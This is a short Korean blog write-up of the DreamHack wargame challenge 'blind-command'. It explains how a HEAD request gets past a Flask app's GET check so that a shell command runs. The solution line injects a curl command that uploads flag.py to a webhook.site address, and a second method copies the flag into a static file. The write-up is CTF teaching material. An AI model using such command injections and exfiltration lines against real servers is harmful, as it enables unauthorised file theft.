🏴CTF/DreamHack

DreamHack - blind-command 풀이

Janger 2023. 9. 7. 07:12
728x90

https://dreamhack.io/wargame/challenges/73

 

blind-command

Read the flag file XD Reference Server-side Basic Server-side Advanced - Command Injection

dreamhack.io

 

해결 조건

  1. 사용자로부터 GET Method를 요청받아야 함
  2. cmd라는 GET 파라미터 값을 전달받아야 함
  3. request.method가 GET이 아니어야 함

해결 조건 1번과 3번이 좀 모순이 된다.
코드의 7번째 라인 @app.route('/' , methods=['GET'])에 인해 GET 외에 다른 Method를 전송하면 405(METHOD NOT ALLOWED) 에러가 발생한다. 하지만 14번째 라인 if문에 의해 request.method가 "GET"일 경우에 시스템 커맨드 명령어를 실행하지 않고 그냥 넘어간다.

해결 조건에 만족하는 Method들을 찾아본 결과 HEAD가 존재했다. HEAD method는 실제 GET 요청과 동일하지만 응답 본문이 없는 요청을 하게 된다.

해결 방법

위에서 말한 대로 HEAD Method는 body 응답이 없기 때문에 플래그 결과를 가져오기 위해 웹 훅을 사용해 시스템에 있는 flag.py라는 파일을 전송해야 한다.

import requests

requests.head("http://host3.dreamhack.games:{YOUR_PORT}?cmd=curl -F 'file1=@./flag.py' https://webhook.site/{YOUR_WEBHOOK_PATH}")

다른 방법으로는 Flask 프레임워크의 기능을 이용해서 mkdir static; cat flag.py > static/result.txt 같은 방식으로 정적 파일을 생성해 웹 서버의 플래그 값이 저장된 정적 파일에 접근하는 방법도 있다.

 

Reference

https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods

728x90